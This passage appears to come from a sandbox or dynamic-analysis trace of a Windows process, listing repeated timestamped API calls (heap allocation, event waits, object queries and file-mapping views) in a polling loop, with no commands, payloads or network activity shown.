(hEvent=0xe0) returned 1 [0093.984] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.984] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.984] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.985] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.985] ResetEvent (hEvent=0xdc) returned 1 [0093.985] SetEvent (hEvent=0xe0) returned 1 [0093.985] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.985] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.985] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.985] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.985] MapViewOfFile (hFileMappingObject=0x164, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0093.985] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0093.986] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0093.986] ResetEvent (hEvent=0xdc) returned 1 [0093.986] SetEvent (hEvent=0xe0) returned 1 [0093.986] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.986] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.986] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.986] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.986] ResetEvent (hEvent=0xdc) returned 1 [0093.986] SetEvent (hEvent=0xe0) returned 1 [0093.987] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.987] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.987] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.987] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.987] ResetEvent (hEvent=0xdc) returned 1 [0093.987] SetEvent (hEvent=0xe0) returned 1 [0093.987] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.988] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.988] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.988] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.988] ResetEvent (hEvent=0xdc) returned 1 [0093.988] SetEvent (hEvent=0xe0) returned 1 [0093.988] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.988] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.989] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.989] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.989] MapViewOfFile (hFileMappingObject=0x164, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0093.989] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0093.989] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0093.989] ResetEvent (hEvent=0xdc) returned 1 [0093.989] SetEvent (hEvent=0xe0) returned 1 [0093.989] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.989] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.990] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.990] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.990] ResetEvent (hEvent=0xdc) returned 1 [0093.990] SetEvent (hEvent=0xe0) returned 1 [0093.990] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.990] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.991] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.991] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.991] ResetEvent (hEvent=0xdc) returned 1 [0093.991] SetEvent (hEvent=0xe0) returned 1 [0093.991] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.991] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.992] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.992] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.992] ResetEvent (hEvent=0xdc) returned 1 [0093.992] SetEvent (hEvent=0xe0) returned 1 [0093.992] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.992] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.992] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.992] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.992] MapViewOfFile (hFileMappingObject=0x164, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0093.992] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0093.993] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0093.993] ResetEvent (hEvent=0xdc) returned 1 [0093.993] SetEvent (hEvent=0xe0) returned 1 [0093.993] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.993] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.993] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.993] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.993] ResetEvent (hEvent=0xdc) returned 1 [0093.993] SetEvent (hEvent=0xe0) returned 1 [0093.994] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.994] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.994] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.994] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.994] ResetEvent (hEvent=0xdc) returned 1 [0093.994] SetEvent (hEvent=0xe0) returned 1 [0093.994] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.995] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.995] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.995] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.995] ResetEvent (hEvent=0xdc) returned 1 [0093.995] SetEvent (hEvent=0xe0) returned 1 [0093.995] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.996] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.996] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.996] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.996] MapViewOfFile (hFileMappingObject=0x164, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0093.996] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0093.996] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0093.996] ResetEvent (hEvent=0xdc) returned 1 [0093.996] SetEvent (hEvent=0xe0) returned 1 [0093.996] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.997] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.997] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.997] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.997] ResetEvent (hEvent=0xdc) returned 1 [0093.997] SetEvent (hEvent=0xe0) returned 1 [0093.997] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.997] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.998] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.998] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.998] ResetEvent (hEvent=0xdc) returned 1 [0093.998] SetEvent (hEvent=0xe0) returned 1 [0093.998] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.998] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.999] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.999] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.999] ResetEvent (hEvent=0xdc) returned 1 [0093.999] SetEvent (hEvent=0xe0) returned 1 [0093.999] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.999] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.999] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.000] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.000] MapViewOfFile (hFileMappingObject=0x164, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0094.000] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0094.000] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0094.000] ResetEvent (hEvent=0xdc) returned 1 [0094.000] SetEvent (hEvent=0xe0) returned 1 [0094.000] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.000] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.000] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.001] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.001] ResetEvent (hEvent=0xdc) returned 1 [0094.001] SetEvent (hEvent=0xe0) returned 1 [0094.001] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.001] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.001] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.001] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.001] ResetEvent (hEvent=0xdc) returned 1 [0094.001] SetEvent (hEvent=0xe0) returned 1 [0094.002] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.002] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.002] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.002] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.002] ResetEvent (hEvent=0xdc) returned 1 [0094.002] SetEvent (hEvent=0xe0) returned 1 [0094.002] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.003] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.003] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.003] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.003] MapViewOfFile (hFileMappingObject=0x164, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0094.003] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0094.003] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0094.003] ResetEvent (hEvent=0xdc) returned 1 [0094.003] SetEvent (hEvent=0xe0) returned 1 [0094.003] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.004] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.004] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.004] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.004] ResetEvent (hEvent=0xdc) returned 1 [0094.004] SetEvent (hEvent=0xe0) returned 1 [0094.004] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.004] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.005] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.005] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.005] ResetEvent (hEvent=0xdc) returned 1 [0094.005] SetEvent (hEvent=0xe0) returned 1 [0094.005] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.005] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.006] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.006] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.006] ResetEvent (hEvent=0xdc) returned 1 [0094.006] SetEvent (hEvent=0xe0) returned 1 [0094.006] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.006] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.007] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.007] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.007] MapViewOfFile (hFileMappingObject=0x164, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0094.007] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0094.007] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0094.007] ResetEvent (hEvent=0xdc) returned 1 [0094.007] SetEvent (hEvent=0xe0) returned 1 [0094.007] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.007] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.008] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.008] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.008] ResetEvent (hEvent=0xdc) returned 1 [0094.008] SetEvent (hEvent=0xe0) returned 1 [0094.008] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.008] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.008] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.008] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.008] ResetEvent (hEvent=0xdc) returned 1 [0094.008] SetEvent (hEvent=0xe0) returned 1 [0094.009] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.009] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.009] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.009] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.009] ResetEvent (hEvent=0xdc) returned 1 [0094.009] SetEvent (hEvent=0xe0) returned 1 [0094.009] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.010] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.010] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.010] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.010] MapViewOfFile (hFileMappingObject=0x164, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0094.010] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0094.010] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0094.010] ResetEvent (hEvent=0xdc) returned 1 [0094.010] SetEvent (hEvent=0xe0) returned 1 [0094.010] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.011] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.011] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.011] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.011] ResetEvent (hEvent=0xdc) returned 1 [0094.011] SetEvent (hEvent=0xe0) returned 1 [0094.011] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.011] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.012] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.012] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.012] ResetEvent (hEvent=0xdc) returned 1 [0094.012] SetEvent (hEvent=0xe0) returned 1 [0094.012] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.012] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.013] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.013] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.013] ResetEvent (hEvent=0xdc) returned 1 [0094.013] SetEvent (hEvent=0xe0) returned 1 [0094.013] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.013] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.014] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.014] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.014] MapViewOfFile (hFileMappingObject=0x164, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0094.014] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0094.014] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0094.014] ResetEvent (hEvent=0xdc) returned 1 [0094.014] SetEvent (hEvent=0xe0) returned 1 [0094.014] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.014] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.015] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 